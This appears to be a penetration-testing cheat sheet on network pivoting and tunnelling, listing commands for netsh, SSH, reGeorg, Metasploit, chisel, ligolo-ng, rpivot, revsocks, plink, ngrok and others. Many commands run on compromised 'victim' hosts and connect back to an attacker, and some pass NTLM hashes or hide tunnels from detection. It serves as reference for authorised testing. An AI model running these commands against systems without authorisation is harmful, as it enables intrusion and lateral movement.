Skip to content

Network Pivoting Techniques

Summary

SOCKS Compatibility Table

SOCKS Version TCP UDP IPv4 IPv6 Hostname
SOCKS v4 ✅ ❌ ✅ ❌ ❌
SOCKS v4a ✅ ❌ ✅ ❌ ✅
SOCKS v5 ✅ ✅ ✅ ✅ ✅

Windows netsh Port Forwarding

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110

# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
# Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
  1. listenaddress – is a local IP address waiting for a connection.
  2. listenport – local listening TCP port (the connection is waited on it).
  3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
  4. connectport – is a TCP port to which the connection from listenport is forwarded to.

SSH

SOCKS Proxy

ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command

Cool Tip : Konami SSH Port forwarding

[ENTER] + [~C]
-D 1090

Local Port Forwarding

ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]

Remote Port Forwarding

ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32

Proxychains

Config file: /etc/proxychains.conf

[ProxyList]
socks4 localhost 8080

Set the SOCKS4 proxy then proxychains nmap -sT 192.168.5.6

Graftcp

A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.

⚠ Same as proxychains, with another mechanism to "proxify" which allow Go applications.

# https://github.com/hmgle/graftcp

# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse 
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks 

# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24

Simple configuration file for graftcp

# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1

## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD

## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto

Web SOCKS - reGeorg

reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Drop one of the following files on the server:

  • tunnel.ashx
  • tunnel.aspx
  • tunnel.js
  • tunnel.jsp
  • tunnel.nosocket.php
  • tunnel.php
  • tunnel.tomcat.5.jsp
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]

Web SOCKS - pivotnacci

pivotnacci, a tool to make socks connections through HTTP agents.

pip3 install pivotnacci
pivotnacci  https://domain.com/agent.php --password "s3cr3t"
pivotnacci  https://domain.com/agent.php --polling-interval 2000

Metasploit

# Meterpreter list active port forwards
portfwd list 

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add –l 3389 –p 3389 –r target-host 
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete –l 3389 –p 3389 –r target-host 
# Meterpreter delete all port forwards
portfwd flush 

or

# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24 
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a     # (deprecated)


# Meterpreter list all active routes
run autoroute -p 

route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3 
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3 
# Meterpreter delete all routes
route flush

Empire

(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run

sshuttle

Transparent proxy server that works as a poor man's VPN. Forwards over ssh.

  • Doesn't require admin.
  • Works with Linux and MacOS.
  • Supports DNS tunneling.
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24 

# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" 

# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x.x/24

chisel

go get -v github.com/jpillora/chisel

# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 

# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks

SharpChisel

A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel

user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================
server : run the Server Component of chisel 
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse:  Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.

user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks

Ligolo

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters

  1. Build Ligolo 
    # Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep

# Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com

make build-all
  2. Use Ligolo 
    # On your attack server.
./bin/localrelay_linux_amd64

# On the compromise host.
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555

Ligolo-ng

Ligolo-ng : An advanced, yet simple, tunneling tool that uses TUN interfaces.

Single Pivot

  1. Downloading the binaries.

  2. The proper binaries can be downloaded from here.

  3. Setting up the ligolo-ng interface and IP routes.

  4. The initial step is to create a new interface and add an IP route to the subnet that we want to pivot to through this interface. We can easily do it through the following bash script. 

    #!/bin/bash

ip tuntap add user root mode tun ligolo
ip link set ligolo up
ip route add <x.x.x.x\24> dev ligolo

  5. We can then run the script by issuing the chmod +x ligolo-ng_setup.sh && ./ligolo-ng_setup.sh

  6. Setting up the ligolo-ng proxy.

  7. After the interface has been setup, we can now start the ligolo-ng proxy. We can use any <PROXY_PORT> we want as long as it not already in use. ./proxy -laddr <ATTACKER_IP>:<PROXY_PORT> -selfcert

  8. Using the ligolo-ng agent to connect to the ligolo-ng proxy.

  9. In the compromised computer we can use the agent to connect back to the proxy. ./agent -connect <ATTACKER_IP>:<PROXY_PORT> -ignore-cert

  10. Start tunneling traffic through ligolo-ng.

  11. Once the connection from the agent reaches the proxy we can use the session command to list the available sessions.

  12. We can use the arrow keys to select the session we want and issue the command start to start tunnelling traffic through it.

  13. Using local tools.

  14. After the tunneling has been initiated, we can use local offensive tools, such as CrackMapExec, Impacket, Nmap through the ligolo-ng network pivot without any kind of limitations or added lag (this is especially true for Nmap).

Double Pivot

  1. Setting up a listener in the initial pivoting session.
  2. To start a double pivot, we have to make sure that the connection of the second agent will go through the first agent to avoid losing contact to our first pivot. To do so, we will have to create a listener to the ligolo-ng session responsible for the first pivot.

  3. This command starts a listener to all the interfaces (0.0.0.0) of the compromised host in port 4443 (we can replace it with any other port we want, as long as it is not already in use in the compromised initial pivot host). Any traffic that reaches this listener will be redirected to the ligolo-ng proxy (--to <ATTACKER_IP>:<PROXY_PORT>). listener_add --addr 0.0.0.0:4443 --to <ATTACKER_IP>:<PROXY_PORT> --tcp

  4. Starting te second agent.

  5. After transferring the ligolo-ng agent to the second pivot host that we have compromised we will start a connection not directly to our ligolo-ng proxy but to the first pivoting agent. .\agent.exe -connect <1st_PIVOT_HOST_IP>:4443 -ignore-cert

  6. Starting the second pivot.

  7. In the ligolo-ng proxy we will receive a call from the second agent through the listener of the first agent. We can use the session command and the arrow keys to navigate through the created sessions. Issuing the start and stop commands we can tell the ligolo-ng proxy which session will be used for tunneling traffic.

  8. Adding a new IP route to the second network.

  9. Before being able to use our local tools to the second network that we want to pivot to, we need to add a new IP route for it through the ligolo interface that we created in the first step. ip route add 172.16.10.0/24 dev ligolo

  10. Using local tools.

  11. After the tunneling has been initiated, we can use local offensive tools to the second network as well.

Triple, etc. Pivot

  • The process is exactly the same as the second pivot.

Pivoting to individual hosts to expose internally running services.

  • The same process can also be used to pivot to individual hosts instead of whole subnets. This will allow an operator to expose locally running services in the compromised server, similar to the dynamic port forwarding through SSH.

Gost

Wiki English : https://docs.ginuerzh.xyz/gost/en/

git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build

# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true

# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]

Rpivot

Server (Attacker box)

python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0

Client (Compromised box)

python client.py --server-ip <ip> --server-port 9443

Through corporate proxy

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e

Passing the hash

python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE

revsocks

# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234

# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"

# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks

# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks

# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445 
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389  

plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445

plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185

ngrok

# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip 

# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm

# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433

cloudflared

# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>

Capture a network trace with builtin tools

  • Windows (netsh) 
    # start a capture use the netsh command.
netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384

# stop the trace
netsh trace stop

# Event tracing can be also used across a reboots
netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384

# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.
etl2pcapng.exe c:\trace.etl c:\trace.pcapng

# Use filters
netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384
  • Linux (tcpdump) 
    sudo apt-get install tcpdump
tcpdump -w 0001.pcap -i eth0
tcpdump -A -i eth0

# capture every TCP packet
tcpdump -i eth0 tcp

# capture everything on port 22
tcpdump -i eth0 port 22

Basic Pivoting Types

Type Use Case
Listen - Listen Exposed asset, may not want to connect out.
Listen - Connect Normal redirect.
Connect - Connect Can’t bind, so connect to bridge two hosts

Listen - Listen

Type Use Case
ncat ncat -v -l -p 8080 -c "ncat -v -l -p 9090"
socat socat -v tcp-listen:8080 tcp-listen:9090
remote host 1 ncat localhost 8080 < file
remote host 2 ncat localhost 9090 > newfile

Listen - Connect

Type Use Case
ncat ncat -l -v -p 8080 -c "ncat localhost 9090"
socat socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090
remote host 1 ncat localhost -p 8080 < file
remote host 2 ncat -l -p 9090 > newfile

Connect - Connect

Type Use Case
ncat ncat localhost 8080 -c "ncat localhost 9090"
socat socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090
remote host 1 ncat -l -p 8080 < file
remote host 2 ncat -l -p 9090 > newfile

References